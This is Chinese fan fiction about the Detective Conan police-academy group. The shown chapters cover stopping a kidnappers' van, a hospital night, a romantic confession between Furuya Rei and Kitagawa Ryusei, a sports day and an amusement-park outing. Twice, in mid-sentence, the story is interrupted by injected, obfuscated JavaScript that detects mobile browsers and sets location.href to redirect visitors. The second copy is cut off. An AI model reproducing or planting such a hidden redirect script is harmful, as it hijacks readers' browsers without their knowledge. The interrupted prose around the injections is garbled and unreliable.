载有绑架犯的面包车在推力下开始控制不住地横摆! 还差一点,就能够把面包车甩出去逼停。 就在即将要达成目的的下一刻,北川琉生脚下发软,眼前突然一黑! ——吱嘎! 想起车上还有工藤新一,他猛地踩下刹车,面包车发出不堪重负地尖厉噪音。 目标车辆提前脱落甩了出去! 原本因为惯性冲向前的工藤新一双眼瞬间睁大——一个温度高得过分的怀抱将他牢牢禁锢在了原地。 甚至连背部都没来得及离开座位! 北川琉生的胳膊狠狠砸在副驾驶台上,眼前黑影久久没有散去。 绑架犯开的面包车抓地力太弱,甩出去足足一圈,却又神奇地稳住没有侧翻,避开了路旁障碍物。 他们趁北川琉生没有追上来再一次踩向油门。 “该死……”北川琉生吐出的气息也变得滚烫,眼前黑影变成金色细小斑点充斥着视线,让人眼花。 ……难道要这样看着这群人逃走吗? 就在这时,发动机的轰鸣声在身后响彻,一道白色影子从窗外一闪而过! “小琉生,没事吧!” 原本飞驰在公路上的白色马自达降下速度,驾驶员探出脑袋,萩原研二的黑发在风中飘逸。 后窗打开露出降谷零的脸,面容写满了焦急。 勉强看清楚来人,北川琉生愣住,一时间没能发出声音。 还是工藤新一打开车窗对突然出现的人大喊:“前面那辆车!是绑架犯!” 没想到还有个小孩,但萩原研二反应极快,二话不说:“交给我了!” 说着整辆马自达以一个比刚刚北川琉生还要嚣张的速度冲了出去! 原来现在的警校生都是这个风格吗?? 被马自达带起的风拂了一脸,工藤新一顿时觉得自己之前对这类人的刻板印象太重了。 比北川琉生更为大胆熟练的拦截技法,萩原研二眯起眼睛,车上的人只感到一股推背感就飙了出去,狠狠撞上面包车! “这可是教官的车,悠着点Hagi!”这么说着,副驾驶上的松田阵平抓住头顶扶手只感觉到一阵兴奋,他大声指挥着:“切入角度再大一点也没关系,这辆车不容易侧翻!” 两辆车相撞,紧接着就只需要—— ——踩油门! 时刻感受着座驾的状态,仗着对汽车的熟悉程度,原本2.2秒的最安全脱离时机被萩原研二大胆延长到2.5秒。 这一次面包车被更大的力道直接甩开,旋转着飞出近五十米,直接撞上马路边的绿化! “漂亮!”伊达航被夹在后座欢呼! 马自达稳稳停下,诸伏景光第一时间打开车门和伊达航还有松田阵平跑向绑架犯的车。 降谷零也赶了下来,却是往反方向跑去,是不远处北川琉生的位置! 通知好友们北川琉生可能被绑架后,诸伏景光他们立刻跑去了鬼冢教官的办公室,没想到他已经收到了消息。 虽然清楚了他没有发生危险,但他们还是没忍住跟着公安到达现场。 听说北川琉生在这条路上,五人二话不说就往这边赶,将主场交给公安的警官们。 刚刚远远看见和绑架犯的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15126569|163812||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 车展开追击时降谷零就在心里捏了一把汗,虽然相信北川琉生的能力,可他就是忍不住担忧。 相处这么久也算默契十足,他们猜测出北川琉生想用“精准介入技术”逼停对方,于是没有选择在此时出现让他分心。 只远远坠在了后面。 所以当北川琉生的车猛地急刹停下的那刻,不明白发生了什么的降谷零心脏差点跳出了嗓子眼! “琉生!” 面包车的两扇前门同时打开。 副驾驶位跳出一个穿着蓝色西装的小男孩,被降谷零直接忽略。 他绕过车身大步上前,接住脚步踉跄的北川琉生,整个人将他撑住:“受伤了?!” 熟悉的人靠近,从刹车开始后强撑一口气的北川琉生连简单思考之类的事都不想做了,瞬间脱力,把全身重量交给降谷零。 猝不及防被抱住,金发青年浑身一僵,原本扶在对方肩膀上的手变得不知所措,悬停在空中不知道放在哪。 直到灼热的吐息擦过脖颈,他才想起什么,抬手去试对方额头的温度。 “应该是高烧引起的大脑供血不足,我已经用琉生哥哥的手机打过119了,还是去医院检查一下比较好哦。” 从车上下来后默默站在一边,工藤新一靠在面包车上,凹着一个酷酷的造型。 作为靠谱的未成年人看着眼前两个大人。 “谢谢,”北川琉生正埋在降谷零颈窝给自己脸蛋降温,并不是很想抬头,轻声礼貌地回应。 降谷零仍然僵硬,他的注意力北川琉生不自然的胳膊吸引,倒吸一口气:“你果然还是受伤了吧。” 他不提北川琉生压根没有发现,此时也只是不以为意地活动了一下胳膊肘。 只是砸伤而已,又没有骨折,并不影响行动。 察觉出他想法,降谷零有些生气,但北川琉生还保持着靠在他怀里的姿势,让他又只能自己把气咽下去。 当班长他们押着三个撞得意识恍惚、被绑成一串的绑架犯赶到时,看见的就是这一幕。 伊达航好奇中带着恍然:“诶,降谷是不是……” 诸伏景光微笑:“我觉得咱们还是等一会再过去吧。” 萩原研二比较坏心眼,直往两人方向扑:“Hagi也是功臣!Hagi也要拥抱!” 不出意料,被松田阵平拽着领子拉回来:“要抱?我们四个抱一个!” 最后公安的人和救护车同时赶到。 交接完绑架犯,麻烦公安把工藤新一交给他的监护人,北川琉生被同伴们一人一只手押去了医院做全身检查。 “严重成这样还不来医院,你们年轻人还真喜欢乱来!”医生听完北川琉生对病情的描述,看着检查报告额头青筋直跳,语气真挚地询问: “是觉得自己比别人多一个脑袋可以烧吗?” 北川琉生眨眼,神情一派无辜,向同伴投去求助的目光。 哪曾想五个同伴正处于对他目光的免疫状态,站成一排齐齐认同点头。 看着他的眼神颇为痛心疾首。 泄了强撑的那口气后,北川琉生就一直病怏怏地任由他们摆弄,此时正反坐着靠背椅,趴在椅背上,脑袋沉沉得抬不起。 求助失败,他将下巴搭在椅背上乖乖听训,余光却跑到了一脸专注听医嘱的降谷零身上。 思绪逐渐脱轨,他认真地在心里比较: 椅子没有降谷同学舒服。 14.戳破 最后,所有人一致决定由降谷零留在医院监督北川琉生好好输液,其他人则开着鬼冢教官那辆车头微微凹陷的马自达回学校接受暴风雨的洗礼。 “又是打扫一个星期的澡堂,”电话里松田阵平的声音懒洋洋,似乎是打了个哈欠:“鬼佬的惩罚依旧缺心意呢。” 诸伏景光声音依旧温和:“我们特意向教官申请运动会结束后再开始惩罚,这样Zero也能体验到劳动的魅力呢。” 降谷零感激涕零,并表示大可不必。 病房的床帘被拉开,阳光从窗户穿过,照在北川琉生身上,从远处看就会发光的天使。 他目光停留在输液管里不断滴下的水滴上,百无聊赖地上下。 原来医院的病床躺起来是这个感觉。 北川琉生略感新奇。 换作以往,对能让他躺进医院的伤病北川琉生只有一个处理方式——异能力。 所以居然到现在他才知道,住院是有美味病号餐吃的! 诸伏景光的厨艺和他清雅的外表真的很搭! 得知明天情况稳定就可以出院的北川琉生扒拉着保温盒里的饭菜颇有些恋恋不舍。 得知情况的降谷零气极反笑:“所以发烧是很舒服吗?” 眼前小混蛋毫无察觉地摇头,挑选着饭盒里的姜丝,足足反应了两分钟才缓缓抬起脑袋,语气充满了不确定:“那个……降谷同学,你是不是生气了?” 降谷零敛眸,沉默不语,把情绪压回心底。 他生硬道:“没有。” 得了,对方的模样基本等同于默认。 他试探着说:“那……我错了?” 哪曾想降谷零面色又黑了点。 看来降谷同学和鬼冢教官不一样,不吃这一套。 北川琉生狐疑地看着眼前金发青年,一双浅色眼睛专注盯着对方看,他成功被勾起了好奇心。 为什么要生气呢? 他不太擅长解密,反而更习惯拿着答案去进行验证,但眼下的情况似乎不适合这么做。 两人之间一度陷入沉默。 相顾无言半晌,降谷零又一次确认他是真不知道自己为什么生气,眼睛不住观察自己,连碗中的饭也没再动。 他只能退让一步,叹气道:“真没有。” 听起来更不可信了,北川琉生想。 夜晚降临,树影映在窗帘上,随着晚风晃动。 降谷零最后一次替他量好体温,确认过烧已经退下,才关上了病房的灯。 病房里有两张床,北川琉生旁边的病床没有病人,但降谷零不好意思麻烦护士第二天换床单,还是选择在陪护沙发上休息。 其实他完全可以回学校的,北川琉生犹豫片刻还是没有说出口,降谷零也没有提。 “是睡不着吗?”/“你要不要上来睡?” 两人同时出声,又一同怔住。 等话音落下,病房再次陷入沉默。 最后是北川琉生打破这诡异的气氛,出声解释:“病床上可能会舒服一点。” 庆幸黑暗中看不清对方,这一次降谷零清楚地意识到自己连脖子到耳根可能都红了个彻底。 他刚想说太挤了,就看见北川琉生已经往里挪出一个可以躺人的空间。 目光炯炯地看着自己。 他究竟知不知道自己的心思啊……这一刻降谷零发自内心地觉得要命极了。 在这双眼睛注视下他再没有拒绝的理由,几乎是同手同脚地小心爬上病床。 北川琉生又往里挪了挪。 “已经够了,别再乱动。”降谷零怕他掉下去,说完才想起来病床有护栏。 金毛青年略感到懊恼,这个月还没来得及修剪的金发垂在耳侧,发现北川琉生还在看着自己,才盖上自己的被子侧身躺下。 明明小时候也和Hiro睡过同一张榻榻米,为什么就不能表现得坦然一点呢? 北川琉生只是把自己当成朋友而已,他抿唇在心里反复默念。 过了好一会降谷零逐渐放松下来,改变别扭的睡姿换成仰卧,开始盯天花板。 不习惯……降谷零平时在宿舍都是裸睡,陡然感受布料在身上摩擦的感觉一时间睡不着。 巧了,北川琉生也睡不着。他还在思索降谷零的异样,一双眼睛在黑暗中注视青年的侧脸。 可思绪却又不知道晃荡到对方的样貌上。 鼻梁高挺,双眼明亮。 这个角度冲淡了降谷零娃娃脸带来的无辜感,显得更为成熟。 即使盖了两床被子,但降谷零身上的温度还是随不严实的被缝传了过来。 随之传来的还有他的声音,降谷零终于忍不住,抬起手背捂住脸:“……别看了,琉生。” 青年的声音欲哭无泪,比以往说话时要低上许多。 哪怕不太熟悉的人也能从他神情中感受到异样。 “怎么了?” 福至心灵一般,北川琉生在夜色中眼睛缓缓睁大,像发现了什么新大陆。 短短几个小时他想过无数个降谷零生气的原因——不想留在医院、认为自己今天过于冲动险些放过绑架犯。 他甚至想过降谷零迫不及待想要打扫澡堂这种难以理解但未必不可能的理由。 但事情好像比他想的要更简单…… 也更复杂。 他同样压低声音:“降谷你是不是——唔!” 小麦色手掌从被子里伸出,带着比平时要高的体温捂在浅眸青年的唇上,以阻止他将更直白的话说出口。 没有过多挣扎,北川琉生咽下了剩下半句,只有一双眼睛依旧看着降谷零。 话没有问出口,但这样的举动胜过了大多数回答。 那双灰紫色的眼睛紧紧闭上又再次睁开,带着忐忑却也藏不住期待,在北川琉生的注视下金发青年轻声: “别急着给我答案好吗?” 至少给他一个机会,让他表现得好一些。 出不了声也没有额外的动作,北川琉生在这一刻突然想起了白日降谷零跑向面包车、撑住自己的模样。 惊讶过后是如潮水席卷的、未知带来的茫然。 这个问题或许北川琉生本身就不知道怎么回答不知道怎么回答。 此刻自己应该是开心的,北川琉生心想。 就像自己各方面都很欣赏的对象突然表示对自己有好感。而对方还长着让自己十分心动的样貌。 但北川琉生心知肚明,降谷零从来不知道自己真正的模样。 他以目光回应金发青年:好。 或许北川琉生自己也有很多事情需要想明白。 “睡觉。”猝不及防地暴露,降谷零成功用逃避延缓刑期,不知道是该松口气还是失落,放下搭在北川琉生身上的手,迅速闭上眼。 眼睫带起的风一定能扇起不小的波澜。 能逃过一时便在这一时中放松吧。 表面平静的两人此刻内心皆是惊涛骇浪。 白天的事确实消耗了北川琉生不少精力,加上吃下去的药也有嗜睡的副作用。 没过多久他就在胡思乱想中睡着了。 直到身边的人呼吸平稳,降谷零才再一次睁开眼。 他睡姿板正,双手交握搭在腹部,往棺材里一趟下一秒就可以就地入殓。 没有被拒绝呢,降谷零将目光移到那张脸上,方才被忐忑强压下的欣喜在黑夜中逐渐冒头。 北川琉生半张脸埋在被子里,鼻梁上红痣在雪白被子衬托下格外引人注目,像是一抹朱砂。 睡着的人下意识寻找热源,正不满地与挡在两人中间的被子无声斗争 不止他,鬼冢教官、Hiro他们都曾感慨过北川琉生藏在无辜面容下令人头疼的性格。 明明没有做任何出格的事,可北川琉生就是给人一种拉不住就会飞走的感觉。 就像他默认了身边的人对自己称呼的转变,却依然礼貌地叫着所有人姓氏。 而这份特殊,就是最开始吸引了降谷零的关键。 “晚安,琉生。” 就着月光,降谷零轻声道。 * 第二天一早北川琉生就办了出院手续,他看起来并没有受昨晚的事影响,依旧和降谷零并肩 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自从那场雨下完,东京的气温就开始缓缓升高,到运动会这一天大部分学生都穿着夏季制服出现在操场。 由于警校的特殊,直到此刻北川琉生才感受到一丝他在和一群同龄人上学的实感。 年轻的面容洋溢着耀眼的笑意,发丝上亮晶晶的汗水随奔跑洒在田径场上,耳边是主席台话筒传来播报,四处都是喝彩声。 绿树撒下的一片阴凉里躲着数个大汗淋漓的家伙,喝着同伴递来的水,大笑着相互调侃。 “加油琉生!” “你也是降谷同学,等会见。” 北川琉生的多目标射击和降谷零的项目同一时间开始,两人分头赶往不同的场地。 “加油!北川同学!让这些家伙们感受感受什么叫易如反掌!” “手拿把掐!” “胜券在握!” 鬼冢班同学前来加油的同学一个个比自己上场还要兴奋,连带着感染了北川琉生的情绪。 他回头,扬手比了个必胜的手势。 “未免也太嚣张了吧!你们这些家伙!”其他选手的支持者嚷嚷着。 鬼冢班充耳不闻:“鬼冢班!第一!鬼冢班!必胜!” 另一旁枪声响起,降谷零和诸伏景光以最快速度穿好护具,奔上跑道。 “加油!降谷!加油!诸伏!” “鬼冢班横扫运动会!!”有人十分拉仇恨地喊劈了嗓子,惹得四周一片善意哄笑。 印着樱花的旗帜被高高举起,没有风也随着旗手的动作飘扬。 无论在田径场的任何一个角落,只要抬头就能看见舞动的五瓣樱花。 真是奇怪的活力和激情……北川琉生腹诽着,双手举起枪。 明明不算是挑战,在这样的氛围环绕下,他仍给予了这场比赛足够重视。 从第一次开枪的时候北川琉生就知道,自己不是天赋异禀的那一类人。 北川琉生只能靠大量的训练来弥补天赋上的平庸。 且卓有成效。 ——敌人不是木桩,不会等你耐心瞄准,当他出现在你视野范围时,你握枪的双手就该找到它们的位置。 ——还是差了点……知道面对恋人时的感受吗?落下目光,听见声音,大脑不需要思考,身体已经先一步为你做出反应。 “砰!” “砰!” 数道枪声从田径场不同区域响起,随之而来的还有要掀翻天空的欢呼声。 子弹出膛,不需要再确认北川琉生就知道了结果。 “第一,北川!鬼冢班就是最强的!” 耳边报环数的声音已经不再重要,和裁判报备后他摘下护具,在四周恭贺和激动声中大步跑向另一个场地! ——“如果北川的项目提前结束,能够来看我的比赛吗?” 看着那双眼角垂下的灰紫色眼睛,北川琉生在大脑判断可行性之前就点头答应。 果然,他还是难以拒绝这样的家伙吧。 15.拿捏 “小降谷、小诸伏加油啊!”萩原研二站在显眼的位置举着个大喇叭,看见北川琉生后双眼一亮向他招手:“这边小琉生,快过来!” 伊达航热情地递过一瓶水:“怎么样?” “谢谢,感觉还不错。”北川琉生终于挤过人群走进去,目光投向赛场:“怎么样?” “已经进行到警务技能了,金发混蛋和景老爷遥遥领先,”松田阵平戴着他的平时放在宿舍里的墨镜,看起来像误入警校的黑老大。 他抱着胳膊啧了声:“金发混蛋干什么嘛,一把枪而已,居然要组装这么久!” “好啦,想夸小降谷不是什么难为情的事情,”深刻了解这家伙的性格,萩原研二揶揄地揽住幼驯染趁机自夸:“不过也不是每个人都像Hagi一样能跟上小阵平的节奏哦。” “哼!” 听着耳边的打闹,北川琉生脸上也带上笑意,目光落在场上那个吸引了大部分目光的第一身上。 跑完800米还能稳住手射击,降谷零脖颈上的汗水滑入衣领,在领口打湿一片。 复杂的零件在那修长的手指下格外乖顺,按部就班地固定在该有的位置。 他看起来依然游刃有余。 田径场四处都有调查员模样的人在时刻关注着选手的状态。 看见降谷零的表现纷纷点头。 怎么会有人这么适合当警察,理想与天赋又恰好达成了一致? 北川琉生想,这样充满活力与正义感的家伙,吸引人也不是什么奇怪的事吧…… 组装好武器,降谷零以最快速度定神,瞄准下一个目标。 金色短发被他捋过脑后,他目光坚定牢牢锁在前方,呼吸依旧平稳。 砰! 后坐力下他只是一眨眼,身形没有丝毫晃动。 毫无疑问,正中靶心。 将枪放在指定位置,降谷零转身奔向下一个任务点。 而他身后紧跟着诸伏景光,两人与其他选手的差距越甩越大。 “强得可怕。” “还是全能型。” 隔壁班级的交谈声清晰地传来过来,伊达航四人反倒安静了,竭力没让自己的神情太过臭屁,但都不难看出对方脸上的与有荣焉。 降谷和诸伏超强的! 主席台恰好在播报“单人多目标射击”的成绩。 伊达航一行人瞬间竖起耳朵仔细听,反倒是北川琉生这个当事人一如既往的平静。 “第一名,鬼冢班,北川琉生!” 校园广播中,北川琉生的名字被反复播报了三次。 清晰传入每个人耳中。 同一时刻,降谷零越过了最后一道终点线! “第一!!恭喜北川同学!” “啊啊啊降谷同学第一名!!” “鬼冢班!牛逼!!” 欢呼声环绕着四周,降谷零转头看向观众席,一眼看见了鬼冢班众人。 挥舞的班旗下,站着准备迎接自己的同伴。 紧跟着完成比赛的诸伏景光站在他身边,一只手搭在他肩膀上,和降谷零一起看过去,对班旗下的人挥手。 伊达航身形高壮,站在其他人身后,正高举着樱花旗帜。 就连以往一直板着脸的松田阵平此刻脸上也扬着大大的微笑,墨镜挂在衣领。 相隔着跑道和观众席,六个人对视一眼,不约而同地向对方的方向高高竖起拇指。 好样的! * 接下来的比赛毫无疑问,松田阵平和萩原研二摘下了自己项目的冠亚军,伊达航更是觉得第一毫无挑战。 激动得鬼冢教官差点毫不矜持地原地跳起,暗地里咬手帕。 ——这群臭小子总算是没白养! 运动会一直持续到下午。 夕阳将天空的云朵晕染成漂亮的橙色,逆光归巢的鸟儿成群结队。 路上的学生三三两两结对,影子被落日拉得极长。 六人走在回宿舍的路上。 萩原研二正声情并茂地讲述自己比赛时的“宏大”场面,情节之曲折,如果不是其他人当时就在现场恐怕就真信了。 不过也没有人打断他,权当是在听评书。 北川琉生压下脚步,落在了最后。 似有所感一般,降谷零的步伐也跟着慢下。 两个人逐渐和同伴拉开距离,从一前一后直到并肩而行。 一时间谁也没有说话。 最先打破沉默的是北川琉生,他真诚道:“今天的降谷同学也很厉害。” 在人群中耀眼得让人难以忽略。 “谢谢,你也是,可惜没有亲眼看见琉生拿下第一。”降谷零没有偏头,注意力似乎全在眼前的路上,却清晰感受到两人肩膀逐渐缩小的距离。 ——他在等北川琉生进入正题。 可这一句后北川琉生没再出声,两人再一次陷入沉默。 没有人着急,他们不紧不慢地走在石块铺的人行道上。 前面空旷无人的广场,四周被修剪整齐的花圃开着一簇簇低矮鲜花。 路过的长椅坐着正在观赏日落的学生。 良久,北川琉生下定决心似地开口,用着最平淡的语气:“降谷,我可能和你想的不一样。” 来了,降谷零停下脚步。 他并没有觉得奇怪,目光停留在青年的脸上回答:“猜到了,毕竟琉生真的很神秘。” “连萩原也说过,白天的琉生和月光下的琉生像是两个人。” 月光下的北川琉生更加放松,就像进入了自己领域的兽类。 优哉游哉,从容不迫。 还真是敏锐啊……北川琉生侧头轻笑片刻,转而又认真提醒:“我很危险的。” 降谷零:“除了总让自己陷入危险,你所做的事还都挺让人安心的。” “我隐瞒了很多别人不能理解的事。”北川琉生语气一改平淡,似乎不明白他为什么能全然无动于衷。 这一次几乎不用思考,降谷零的回答依旧毫不犹豫:“等哪一天琉生想说了,我会努力去理解的。” 随着北川琉生说得越多,他眼底的笑意越发明显,脸上几乎能看出愉悦两个字。 看向青年的眼神也忐忑变得滚烫。 这个回答超乎了北川琉生的预料,他定定地看着对方,似乎要把这些话刻进对方心里:“我性格绝算不上好,占有欲很强。” 这一点降谷零是真的没有想过,刚刚胸有成竹的气势被打散:“诶?完全没有感受到诶。” 准确来说和北川琉生相处的这段时间,他们一直都在感慨这个人太无欲无求了…… 降谷零想要成为优秀的警察、诸伏景光喜欢做饭解压、就连据说是为了揍警视总监才考这所学校的松田阵平也有研究机械的爱好。 但北川琉生似乎对职业、物质或者课外娱乐都没有太多兴趣。 那是因为这个世界除了他自己,其实并没有什么真正意义上属于他的东西。北川琉生心想。 此前他对这里基本没有什么归属感,遑论想要占有什么。 对此,他只能简单打个比方。 环顾四周,北川琉生抬手一指,指尖落处是花圃里一片开得繁茂的紫阳花。 花瓣微白,靠近花蕊处泛着漂亮的紫色,像蝴蝶翅膀般聚拢在一起。 大捧花朵连成片,像天空落下来的云朵。 “这个品种的紫阳花叫奥塔克萨,”他在降谷零不明所以的目光下,语气毫无波澜地解释:“有人说过,如果你告诉喜欢的人一种花的名字,那他以后看见这种花,就会想到你。” 心脏在听见“喜欢”这个词时微微一颤,降谷零顺着他指尖看向花坛的眼神变得恍然。 他静静听着青年接下来的话:“而我不同,我喜欢一个人,会让他无论看见什么花,都会想到我。” 想到我们曾一起见过,又或者还不曾见过。 世界的里里外外都被打上自己的标记。 而这还仅仅只是他的喜欢而已。 如果关系更进一步,北川琉生不知道自己会是什么样子。 所有降谷零如果有危机意识,现在就该…… 没想到金发青年完全抓歪了重点,声音提高:“原来琉生有过喜欢的人吗?!” 北川琉生:“……” “没有!” 这都是些什么啊!< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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眼见降谷零头发都要炸起来了,怎么看怎么像一只炸毛的猫猫,北川琉生目光一转,抬手扣上去乱抓一通。 深深叹出一口气,他笑着出言安抚:“逗你玩的,我已经收到了警察厅公安刑事局的入职邀请了哦,以后都会留在东京!” 至少在确认这些家伙完好无损前不会离开。 确认他没有撒谎,降谷零瞬间豆豆眼,总算是窥见这个人性格中恶劣的部分。 注意力被入职邀请转移,他不知道北川琉生到底还有多少惊喜没有坦白:“什么时候的事啊?” “昨天抽空去做绑架案笔录的时候,具体是犯罪组织对策部的邀请,但我或许更想去刑事企划课也说不准呢!” 临近毕业,他们的职业生涯也都有了大致的方向,比如萩原和松田就早早地被警备部机动组给预订了。 北川琉生虽然偏科,但拔尖的地方也是令人咋舌地优秀,加上是职业组,提前被邀请也并不令人意外。 等等!话题已经跑偏得足够绕东京一圈,降谷零突然反应过来自己还有大事没做完,硬生生给拽了回来。 他镇定地站立,声音中不再有忐忑不安:“所以,琉生同学,你给我的答案是什么?” 这个之前被避开的问题被他主动提起,此时降谷零眼里只剩下志在必得。 广场上的人陆陆续续离开,只余两道颀长身影。 这一次没有片刻犹豫,北川琉生静立在夕阳下,对发着光的青年伸出手。 他薄唇微抿,语气郑重:“我还没有过和人交往的经历,请多指教了降谷同学。” “真巧,我也是第一次和人交往,琉生同学,请多指教。”金发在橙红的夕阳下闪着熠熠的光,青年粲然一笑道。 两只手紧紧握在一起,一黑一白分明。 “所以……交往后的下一步是什么?” “不知道,从改变琉生你的称呼开始怎么样?” 睨了他一眼,发现降谷零是认真地在提议,北川琉生哑然失笑:“在意很久了吧,降谷同学?” “原来你知道啊,听起来太生疏了,”降谷零嘴角一撇,眼睛从下而上,直勾勾看着对方,声音低下。 他似乎已经掌握了拿捏北川琉生的办法,语气小心翼翼地提议:“真的不能换一个吗?” “那叫什么?降谷、小降谷、Zero……”北川琉生重复着身边的人对他的称呼,在那双越来越亮的目光下伸出双手,夹住那张“祸国殃民”的娃娃脸。 他歪头:“零先生,怎么样?” 16.公园 “不对劲……” “很可疑。” “绝对有问题!” 五个鬼鬼祟祟的脑袋地挤在路边餐车后,冲马路的方向探望。 不远处,他们尊敬的伊达班长正在多罗碧加公园门口来回徘徊。 他脸上带着罕有的“毛头小子”限定表情,时不时看看手机和来往车辆,一改平日稳重模样。 萩原研二振振有词:“班长肯定有情况。” 紧跟着,诸伏景光体贴道:“或许是谈恋爱了,忘记告诉我们吧?” 五个人挨在一起还是有点挤,北川琉生拉着降谷零防止他被挤开,边点头:“而且背着我们偷偷约会。” 只有松田阵平还在情况外:“万一只是朋友或者家人呢?” 人来人往的游乐场门口,五张俊脸靠在一起想让人不在意都难,已经有不少周末结伴出来的女生看向这个方向。 餐车的主人无奈抱着胳膊站在一旁,拿几个幼稚鬼没有办法。 脸上写满了不好意思,降谷零时不时对餐车主人投以抱歉的眼神,但也还是任由北川琉生拉着,乖乖配合蹲在餐车后。 看着不久前新鲜出炉的男朋友和萩原研二他们一起表演群情激愤,明明没有参与,降谷零也难掩心虚。 话说他们的关系也没有告诉同伴们啊喂! 虽然确认关系后除了称呼改变,两人的相处也只是比之前要亲密了一些,并没有任何进展。 但他确实也能感受到北川琉生和之前的不一样。 说不出来的变化,只是觉得对方更加真实了一点。 远处伊达航终于有了动静,他大步走向一辆计程车,因为个子太高需要弯腰才能打开后门。 温柔体贴得让五个躲着的家伙目瞪口呆。 车上走下来一个金色短发女孩,蓝色眼睛清亮,眉宇恬静温柔,把手里的精致礼盒放到伊达航手上。 只看见鬼冢班颇具威严的班长揉着后脑寸头呵呵傻乐,好在没有忘记付给司机车费后。 随后他转身,支起胳膊让对方挽住。 直到两人谈笑着走进游乐场,餐车后五个石膏雕像才一点点解冻。 这会连松田阵平也不怀疑了:“过分……” 小卷毛头顶的引线仿佛滋滋作响:“谈恋爱竟然瞒着我们!” 正想附和一句,北川琉生突然反应过来什么话音一顿,缓缓转头对上降谷零的目光。 他们好像……也没说来着。 对于自己多了个男朋友这件事,北川琉生一直没有什么实感。 一眼看出他在想什么的降谷零死鱼眼:原来刚刚不是演的…… 北川琉生是真没有意识到他们的关系啊,降谷零敛眸,不知道想了些什么。 再抬头时他尝试为班长、也是未来的自己补救:“额,我们也没有问班长不是吗?” 北川琉生忙不迭点头附和,惹得诸伏景光狐疑地看了好几眼,转头默不作声地思考。 哪曾想萩原研二一口否决:“不!组织信奉的是坦白从宽!” 北川琉生&降谷零:…… 两人缓缓对视,做了个不明显的吞咽动作,又齐齐低下头,肩膀忍不住颤抖。 诸伏景光一针见血,指出眼下的问题:“我们下一步怎么做?” “跟上去!” 买了五个甜筒权当给餐车主人赔罪,北川琉生他们买过票走进了游乐场。 周末公园里大多是学生,各个年龄阶段都有,脸上挂着灿烂笑容与同伴并肩走在一起。 旋转木马放着眼下最红的动画片主题曲,卖气球的工作人员穿着玩偶服,和来往的游客合照。 骑在父亲肩膀上的小女孩高举着粉色棉花糖,看起来足足有三米高,路过时留下棉花糖的焦甜。 目光从棉花糖上划过,落在360度旋转的云霄飞车上,听见上面的人发出杀鸡般的尖叫声,北川琉生舔着巧克力甜筒感慨:“原来公园应该是这样的啊。” 说者无意,听者们却纷纷看过来。 艰难地把目光从他吃甜筒的样子上挪开,降谷零的注意力被转移,不确定地问:“琉生第一次来公园?” 这倒不是,北川琉生摇头:“来过,但大部分时候不是为了玩。” 以往他来公园,基本上都是为了工作,根本没什么精力可以放在娱乐项目上。 不是为了玩,大家想到的也就只有来公园打工了,众人纷纷跳过这个话题,萩原研二双掌一合:“那正好趁此机会,我们可以好好玩一次!” “不管班长啦?”松田阵平疑惑问,依旧戴着他那副墨镜,藏不住的坏小子气质惹得好几个偷偷关注这边的青春期少女小声尖叫。 最先发现班长“行踪可疑”的萩原研二此时却反过来打趣幼驯染。他做了个捧心动作,表情夸张:“人家可是在约会诶,小阵平居然这么可恶嘛!” 松田阵平:“……” 明明是这家伙先要跟过来的! “我赞同研二的观点,让班长好好陪女朋友吧。我也很久都没有放松过了,Zero和琉生呢?”诸伏景光道。 小时候也没怎么来过游乐场的降谷零没有意见。 “无所谓,”说着,北川琉生补充道:“只希望别出什么事就好。”。 似乎每一次离开学校都会有些小小的意外,北川琉生不由为东京的治安感到担忧。 应该,没那么倒霉吧……闻言其他人面面相觑,表情都有些不确定。 但出门遇到事件这事得归咎于玄学,总不至于概率太高就不出门了。 该玩还是得痛痛快快地玩! “我打听过了哦,游乐场鬼屋新开放了镜面迷宫区,听起来非常不错。”萩原研二行动力极强地确定了他们的第一个目的地,还从兜里掏出一张地图展开。 其余人佩服之余不由好奇:“什么时候打听的,我们怎么不知道?” 萩原研二理所应当道:“在餐车前买冰淇淋的时候啊,两位漂亮的女士在我们后面排队,游乐场地图也是她们赞助的,为了表示感谢我请两人吃了冰淇淋。” 看见同伴们齐齐豆豆眼,他惊讶:“不会吧?你们竟然没有注意到身后有需要照顾的淑女?这也太失礼了!” 四人双双对视,都由衷觉得并不是自己的问题。 于是齐齐扭头转向萩原研二,用目光无声道:真不愧是你! 班长和他的女朋友不知道往哪个方向去过二人世界了。 五个“体贴”的好友最后忍住了跑去发光发热,没有打扰好不容易聚一聚的小情侣。 萩原和松田两个欢喜冤家一样走在最前面,萩原研二满脸欢喜、松田阵平一脸看“冤家”的表情,额角直抽抽。 防止自己忍不住在大庭广众之下动手,他拽住身边的诸伏景光,尽量忽略仿佛精力过剩的幼驯染和发痒的拳头。 北川琉生走在后面,正专心致志地与甜筒斗智斗勇。 餐车老板过于热情,给他舀的巧克力色冰淇淋球滚圆又饱满。 这反倒让北川琉生无从下口。 他吃东西习惯性慢条斯理,每次想张大嘴咬,在碰到冰淇淋时又不自觉变小,最后像是嘬了冰淇淋球一口。 甜筒至今只受了点皮外伤。 这一幕看得降谷零表情一言难尽。 倒不是说北川琉生吃相难看,相反他吃得非常赏心悦目,搭配对方较真且纠结地表情还有些可爱。 但怎么就那么奇怪呢…… “咳咳。”他故意发出声音。 不出所料,北川琉生瞬间撇下甜筒看过来:“怎么了零君?” 降谷零略感欣慰。 自己还是比冰淇淋球重要一点。 但——说好的“零先生”呢! 要知道他可为了这个称呼脸红了一个晚上才适应啊,结果那一天之后再也没听到过第二次! 察觉到降谷零目光落处,北川琉生思索片刻,把手里的甜筒递过去:“想试试?” 他记得降谷零刚刚吃的是香草味。 无言半晌,降谷零欲言又止,最后还是什么也没说。 就着北川琉生递过来的手,恨恨张嘴咬下一大口。 他现在相信北川琉生没有过喜欢的人了,降谷零甚至在怀疑北川琉生是不是也没看见过别人谈恋爱。 